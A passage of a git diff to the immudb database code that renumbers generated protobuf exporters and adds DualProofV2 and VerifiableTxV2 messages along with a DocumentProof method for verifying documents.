v.(*SetRequest); i { + switch v := v.(*VerifiableEntry); i { case 0: return &v.state case 1: @@ -11204,7 +11378,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KeyRequest); i { + switch v := v.(*InclusionProof); i { case 0: return &v.state case 1: @@ -11216,7 +11390,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KeyListRequest); i { + switch v := v.(*SetRequest); i { case 0: return &v.state case 1: @@ -11228,7 +11402,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteKeysRequest); i { + switch v := v.(*KeyRequest); i { case 0: return &v.state case 1: @@ -11240,7 +11414,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableSetRequest); i { + switch v := v.(*KeyListRequest); i { case 0: return &v.state case 1: @@ -11252,7 +11426,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableGetRequest); i { + switch v := v.(*DeleteKeysRequest); i { case 0: return &v.state case 1: @@ -11264,7 +11438,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ServerInfoRequest); i { + switch v := v.(*VerifiableSetRequest); i { case 0: return &v.state case 1: @@ -11276,7 +11450,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ServerInfoResponse); i { + switch v := v.(*VerifiableGetRequest); i { case 0: return &v.state case 1: @@ -11288,7 +11462,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*HealthResponse); i { + switch v := v.(*ServerInfoRequest); i { case 0: return &v.state case 1: @@ -11300,7 +11474,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseHealthResponse); i { + switch v := v.(*ServerInfoResponse); i { case 0: return &v.state case 1: @@ -11312,7 +11486,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImmutableState); i { + switch v := v.(*HealthResponse); i { case 0: return &v.state case 1: @@ -11324,7 +11498,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReferenceRequest); i { + switch v := v.(*DatabaseHealthResponse); i { case 0: return &v.state case 1: @@ -11336,7 +11510,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableReferenceRequest); i { + switch v := v.(*ImmutableState); i { case 0: return &v.state case 1: @@ -11348,7 +11522,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ZAddRequest); i { + switch v := v.(*ReferenceRequest); i { case 0: return &v.state case 1: @@ -11360,7 +11534,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Score); i { + switch v := v.(*VerifiableReferenceRequest); i { case 0: return &v.state case 1: @@ -11372,7 +11546,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ZScanRequest); i { + switch v := v.(*ZAddRequest); i { case 0: return &v.state case 1: @@ -11384,7 +11558,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*HistoryRequest); i { + switch v := v.(*Score); i { case 0: return &v.state case 1: @@ -11396,7 +11570,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableZAddRequest); i { + switch v := v.(*ZScanRequest); i { case 0: return &v.state case 1: @@ -11408,7 +11582,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TxRequest); i { + switch v := v.(*HistoryRequest); i { case 0: return &v.state case 1: @@ -11420,7 +11594,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*EntriesSpec); i { + switch v := v.(*VerifiableZAddRequest); i { case 0: return &v.state case 1: @@ -11432,7 +11606,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*EntryTypeSpec); i { + switch v := v.(*TxRequest); i { case 0: return &v.state case 1: @@ -11444,7 +11618,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableTxRequest); i { + switch v := v.(*EntriesSpec); i { case 0: return &v.state case 1: @@ -11456,7 +11630,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TxScanRequest); i { + switch v := v.(*EntryTypeSpec); i { case 0: return &v.state case 1: @@ -11468,7 +11642,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TxList); i { + switch v := v.(*VerifiableTxRequest); i { case 0: return &v.state case 1: @@ -11480,7 +11654,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExportTxRequest); i { + switch v := v.(*TxScanRequest); i { case 0: return &v.state case 1: @@ -11492,7 +11666,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReplicaState); i { + switch v := v.(*TxList); i { case 0: return &v.state case 1: @@ -11504,7 +11678,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Database); i { + switch v := v.(*ExportTxRequest); i { case 0: return &v.state case 1: @@ -11516,7 +11690,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseSettings); i { + switch v := v.(*ReplicaState); i { case 0: return &v.state case 1: @@ -11528,7 +11702,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateDatabaseRequest); i { + switch v := v.(*Database); i { case 0: return &v.state case 1: @@ -11540,7 +11714,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateDatabaseResponse); i { + switch v := v.(*DatabaseSettings); i { case 0: return &v.state case 1: @@ -11552,7 +11726,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UpdateDatabaseRequest); i { + switch v := v.(*CreateDatabaseRequest); i { case 0: return &v.state case 1: @@ -11564,7 +11738,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UpdateDatabaseResponse); i { + switch v := v.(*CreateDatabaseResponse); i { case 0: return &v.state case 1: @@ -11576,7 +11750,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseSettingsRequest); i { + switch v := v.(*UpdateDatabaseRequest); i { case 0: return &v.state case 1: @@ -11588,7 +11762,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseSettingsResponse); i { + switch v := v.(*UpdateDatabaseResponse); i { case 0: return &v.state case 1: @@ -11600,7 +11774,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableUint32); i { + switch v := v.(*DatabaseSettingsRequest); i { case 0: return &v.state case 1: @@ -11612,7 +11786,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableUint64); i { + switch v := v.(*DatabaseSettingsResponse); i { case 0: return &v.state case 1: @@ -11624,7 +11798,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableFloat); i { + switch v := v.(*NullableUint32); i { case 0: return &v.state case 1: @@ -11636,7 +11810,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableBool); i { + switch v := v.(*NullableUint64); i { case 0: return &v.state case 1: @@ -11648,7 +11822,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableString); i { + switch v := v.(*NullableFloat); i { case 0: return &v.state case 1: @@ -11660,7 +11834,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableMilliseconds); i { + switch v := v.(*NullableBool); i { case 0: return &v.state case 1: @@ -11672,7 +11846,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseNullableSettings); i { + switch v := v.(*NullableString); i { case 0: return &v.state case 1: @@ -11684,7 +11858,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReplicationNullableSettings); i { + switch v := v.(*NullableMilliseconds); i { case 0: return &v.state case 1: @@ -11696,7 +11870,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TruncationNullableSettings); i { + switch v := v.(*DatabaseNullableSettings); i { case 0: return &v.state case 1: @@ -11708,7 +11882,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexNullableSettings); i { + switch v := v.(*ReplicationNullableSettings); i { case 0: return &v.state case 1: @@ -11720,7 +11894,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AHTNullableSettings); i { + switch v := v.(*TruncationNullableSettings); i { case 0: return &v.state case 1: @@ -11732,7 +11906,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoadDatabaseRequest); i { + switch v := v.(*IndexNullableSettings); i { case 0: return &v.state case 1: @@ -11744,7 +11918,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoadDatabaseResponse); i { + switch v := v.(*AHTNullableSettings); i { case 0: return &v.state case 1: @@ -11756,7 +11930,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UnloadDatabaseRequest); i { + switch v := v.(*LoadDatabaseRequest); i { case 0: return &v.state case 1: @@ -11768,7 +11942,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UnloadDatabaseResponse); i { + switch v := v.(*LoadDatabaseResponse); i { case 0: return &v.state case 1: @@ -11780,7 +11954,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteDatabaseRequest); i { + switch v := v.(*UnloadDatabaseRequest); i { case 0: return &v.state case 1: @@ -11792,7 +11966,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteDatabaseResponse); i { + switch v := v.(*UnloadDatabaseResponse); i { case 0: return &v.state case 1: @@ -11804,7 +11978,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FlushIndexRequest); i { + switch v := v.(*DeleteDatabaseRequest); i { case 0: return &v.state case 1: @@ -11816,7 +11990,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FlushIndexResponse); i { + switch v := v.(*DeleteDatabaseResponse); i { case 0: return &v.state case 1: @@ -11828,7 +12002,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Table); i { + switch v := v.(*FlushIndexRequest); i { case 0: return &v.state case 1: @@ -11840,7 +12014,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLGetRequest); i { + switch v := v.(*FlushIndexResponse); i { case 0: return &v.state case 1: @@ -11852,7 +12026,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableSQLGetRequest); i { + switch v := v.(*Table); i { case 0: return &v.state case 1: @@ -11864,7 +12038,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLEntry); i { + switch v := v.(*SQLGetRequest); i { case 0: return &v.state case 1: @@ -11876,7 +12050,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableSQLEntry); i { + switch v := v.(*VerifiableSQLGetRequest); i { case 0: return &v.state case 1: @@ -11888,7 +12062,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UseDatabaseReply); i { + switch v := v.(*SQLEntry); i { case 0: return &v.state case 1: @@ -11900,7 +12074,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ChangePermissionRequest); i { + switch v := v.(*VerifiableSQLEntry); i { case 0: return &v.state case 1: @@ -11912,7 +12086,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SetActiveUserRequest); i { + switch v := v.(*UseDatabaseReply); i { case 0: return &v.state case 1: @@ -11924,7 +12098,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListResponse); i { + switch v := v.(*ChangePermissionRequest); i { case 0: return &v.state case 1: @@ -11936,7 +12110,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListRequestV2); i { + switch v := v.(*SetActiveUserRequest); i { case 0: return &v.state case 1: @@ -11948,7 +12122,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListResponseV2); i { + switch v := v.(*DatabaseListResponse); i { case 0: return &v.state case 1: @@ -11960,7 +12134,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseWithSettings); i { + switch v := v.(*DatabaseListRequestV2); i { case 0: return &v.state case 1: @@ -11972,7 +12146,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Chunk); i { + switch v := v.(*DatabaseListResponseV2); i { case 0: return &v.state case 1: @@ -11984,7 +12158,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UseSnapshotRequest); i { + switch v := v.(*DatabaseWithSettings); i { case 0: return &v.state case 1: @@ -11996,7 +12170,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLExecRequest); i { + switch v := v.(*Chunk); i { case 0: return &v.state case 1: @@ -12008,7 +12182,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLQueryRequest); i { + switch v := v.(*UseSnapshotRequest); i { case 0: return &v.state case 1: @@ -12020,7 +12194,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NamedParam); i { + switch v := v.(*SQLExecRequest); i { case 0: return &v.state case 1: @@ -12032,7 +12206,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLExecResult); i { + switch v := v.(*SQLQueryRequest); i { case 0: return &v.state case 1: @@ -12044,7 +12218,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CommittedSQLTx); i { + switch v := v.(*NamedParam); i { case 0: return &v.state case 1: @@ -12056,7 +12230,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLQueryResult); i { + switch v := v.(*SQLExecResult); i { case 0: return &v.state case 1: @@ -12068,7 +12242,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Column); i { + switch v := v.(*CommittedSQLTx); i { case 0: return &v.state case 1: @@ -12080,7 +12254,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Row); i { + switch v := v.(*SQLQueryResult); i { case 0: return &v.state case 1: @@ -12092,7 +12266,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLValue); i { + switch v := v.(*Column); i { case 0: return &v.state case 1: @@ -12104,7 +12278,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NewTxRequest); i { + switch v := v.(*Row); i { case 0: return &v.state case 1: @@ -12116,7 +12290,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NewTxResponse); i { + switch v := v.(*SQLValue); i { case 0: return &v.state case 1: @@ -12128,7 +12302,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ErrorInfo); i { + switch v := v.(*NewTxRequest); i { case 0: return &v.state case 1: @@ -12140,7 +12314,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DebugInfo); i { + switch v := v.(*NewTxResponse); i { case 0: return &v.state case 1: @@ -12152,7 +12326,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RetryInfo); i { + switch v := v.(*ErrorInfo); i { case 0: return &v.state case 1: @@ -12164,7 +12338,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TruncateDatabaseRequest); i { + switch v := v.(*DebugInfo); i { case 0: return &v.state case 1: @@ -12176,7 +12350,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TruncateDatabaseResponse); i { + switch v := v.(*RetryInfo); i { case 0: return &v.state case 1: @@ -12188,7 +12362,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[121].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Precondition_KeyMustExistPrecondition); i { + switch v := v.(*TruncateDatabaseRequest); i { case 0: return &v.state case 1: @@ -12200,7 +12374,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[122].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { + switch v := v.(*TruncateDatabaseResponse); i { case 0: return &v.state case 1: @@ -12212,6 +12386,30 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[123].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Precondition_KeyMustExistPrecondition); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schema_proto_msgTypes[124].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schema_proto_msgTypes[125].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition_KeyNotModifiedAfterTXPrecondition); i { case 0: return &v.state @@ -12234,7 +12432,7 @@ func file_schema_proto_init() { (*Op_ZAdd)(nil), (*Op_Ref)(nil), } - file_schema_proto_msgTypes[113].OneofWrappers = []interface{}{ + file_schema_proto_msgTypes[115].OneofWrappers = []interface{}{ (*SQLValue_Null)(nil), (*SQLValue_N)(nil), (*SQLValue_S)(nil), @@ -12249,7 +12447,7 @@ func file_schema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_schema_proto_rawDesc, NumEnums: 3, - NumMessages: 131, + NumMessages: 133, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 1735e88cb7..73d5a5d81a 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -420,6 +420,21 @@ message DualProof { LinearAdvanceProof LinearAdvanceProof = 8; } +// DualProofV2 contains inclusion and consistency proofs +message DualProofV2 { + // Header of the source (earlier) transaction + TxHeader sourceTxHeader = 1; + + // Header of the target (latter) transaction + TxHeader targetTxHeader = 2; + + // Inclusion proof of the source transaction hash in the main Merkle Tree + repeated bytes inclusionProof = 3; + + // Consistency proof between Merkle Trees in the source and target transactions + repeated bytes consistencyProof = 4; +} + message Tx { // Transaction header TxHeader header = 1; @@ -479,6 +494,17 @@ message VerifiableTx { Signature signature = 3; } +message VerifiableTxV2 { + // Transaction to verify + Tx tx = 1; + + // Proof for the transaction + DualProofV2 dualProof = 2; + + // Signature for the new state value + Signature signature = 3; +} + ////////////////// message VerifiableEntry { @@ -607,14 +633,14 @@ message ImmutableState { // Signature of the hash Signature signature = 4; - + // following fields are not part of the signature // Id of the most recent precommitted transaction - uint64 precommittedTxId = 5; + uint64 precommittedTxId = 5; // State of the most recent precommitted transaction - bytes precommittedTxHash = 6; + bytes precommittedTxHash = 6; } message ReferenceRequest { @@ -838,21 +864,21 @@ message TxList { message ExportTxRequest { // Id of transaction to export - uint64 tx = 1; + uint64 tx = 1; // If set to true, non-committed transactions can be exported - bool allowPreCommitted = 2; + bool allowPreCommitted = 2; // Used on synchronous replication to notify the primary about replica state - ReplicaState replicaState = 3; + ReplicaState replicaState = 3; // If set to true, integrity checks are skipped when reading data bool skipIntegrityCheck = 4; } message ReplicaState { - string UUID = 1; - uint64 committedTxID = 2; - bytes committedAlh = 3; - uint64 precommittedTxID = 4; - bytes precommittedAlh = 5; + string UUID = 1; + uint64 committedTxID = 2; + bytes committedAlh = 3; + uint64 precommittedTxID = 4; + bytes precommittedAlh = 5; } message Database { diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index 6dd5c01e60..3d3082f1bd 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -6,7 +6,9 @@ import ( "github.com/codenotary/immudb/embedded/document" "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/schema" "google.golang.org/protobuf/types/known/structpb" ) @@ -26,6 +28,10 @@ type DocumentDatabase interface { CreateCollection(ctx context.Context, req *schemav2.CollectionCreateRequest) (*schemav2.CollectionCreateResponse, error) // ListCollections returns the list of collection schemas ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) + // UpdateCollection updates an existing collection + UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) + // DeleteCollection deletes a collection + DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) // GetDocument returns the document GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) // CreateDocument creates a new document @@ -34,10 +40,8 @@ type DocumentDatabase interface { DocumentAudit(ctx context.Context, req *schemav2.DocumentAuditRequest) (*schemav2.DocumentAuditResponse, error) // UpdateDocument updates a document UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateRequest) (*schemav2.DocumentUpdateResponse, error) - // DeleteCollection deletes a collection - DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) - // UpdateCollection updates an existing collection - UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) + // DocumentProof returns the proofs for a document + DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) } func (d *db) ListCollections(ctx context.Context, req *schemav2.CollectionListRequest) (*schemav2.CollectionListResponse, error) { @@ -100,6 +104,16 @@ func (d *db) CreateCollection(ctx context.Context, req *schemav2.CollectionCreat return &schemav2.CollectionCreateResponse{Collection: cinfo}, nil } +// DeleteCollection deletes a collection +func (d *db) DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) { + err := d.documentEngine.DeleteCollection(ctx, req.Name) + if err != nil { + return nil, err + } + + return &schemav2.CollectionDeleteResponse{}, nil +} + // CreateDocument creates a new document func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) { docID, txID, err := d.documentEngine.CreateDocument(ctx, req.Collection, req.Document) @@ -127,7 +141,7 @@ func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchReques return nil, fmt.Errorf("invalid offset or limit") } - results, err := d.documentEngine.GetDocument(ctx, req.Collection, queries, int(req.Page), int(req.PerPage)) + results, err := d.documentEngine.GetDocuments(ctx, req.Collection, queries, int(req.Page), int(req.PerPage)) if err != nil { return nil, err } @@ -220,14 +234,57 @@ func (d *db) UpdateDocument(ctx context.Context, req *schemav2.DocumentUpdateReq }, nil } -// DeleteCollection deletes a collection -func (d *db) DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) { - err := d.documentEngine.DeleteCollection(ctx, req.Name) +// DocumentProof returns the proofs for a documenta +func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) { + docID, err := document.DocumentIDFromHex(req.DocumentId) + if err != nil { + return nil, fmt.Errorf("invalid document id: %v", err) + } + + tx, err := d.allocTx() if err != nil { return nil, err } + defer d.releaseTx(tx) - return &schemav2.CollectionDeleteResponse{}, nil + collectionID, docAudit, err := d.documentEngine.GetDocument(ctx, req.Collection, docID, req.TransactionId) + if err != nil { + return nil, err + } + + err = d.st.ReadTx(docAudit.TxID, false, tx) + if err != nil { + return nil, err + } + + var sourceHdr, targetHdr *store.TxHeader + + if tx.Header().ID < req.LastValidatedTransactionId { + sourceHdr = tx.Header() + targetHdr, err = d.st.ReadTxHeader(req.LastValidatedTransactionId, false, false) + if err != nil { + return nil, err + } + } else { + sourceHdr, err = d.st.ReadTxHeader(req.LastValidatedTransactionId, false, false) + if err != nil { + return nil, err + } + targetHdr = tx.Header() + } + + dualProof, err := d.st.DualProofV2(sourceHdr, targetHdr) + if err != nil { + return nil, err + } + + return &schemav2.DocumentProofResponse{ + CollectionId: collectionID, + VerifiableTx: &schema.VerifiableTxV2{ + Tx: schema.TxToProto(tx), + DualProof: schema.DualProofV2ToProto(dualProof), + }, + }, nil } // UpdateCollection updates an existing collection diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 6e87c5c4a8..1c2ea29d46 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -284,3 +284,7 @@ func (d *closedDB) DeleteCollection(ctx context.Context, req *schemav2.Collectio func (d *closedDB) UpdateCollection(ctx context.Context, req *schemav2.CollectionUpdateRequest) (*schemav2.CollectionUpdateResponse, error) { return nil, store.ErrAlreadyClosed } + +func (d *closedDB) DocumentProof(ctx context.Context, req *schemav2.DocumentProofRequest) (*schemav2.DocumentProofResponse, error) { + return nil, store.ErrAlreadyClosed +} diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 4599c73141..655fff9c2e 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -20,6 +20,7 @@ import ( "context" "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/schema" ) func (s *ImmuServer) DocumentInsert(ctx context.Context, req *documentschema.DocumentInsertRequest) (*documentschema.DocumentInsertResponse, error) { @@ -121,13 +122,36 @@ func (s *ImmuServer) DocumentAudit(ctx context.Context, req *documentschema.Docu return resp, nil } 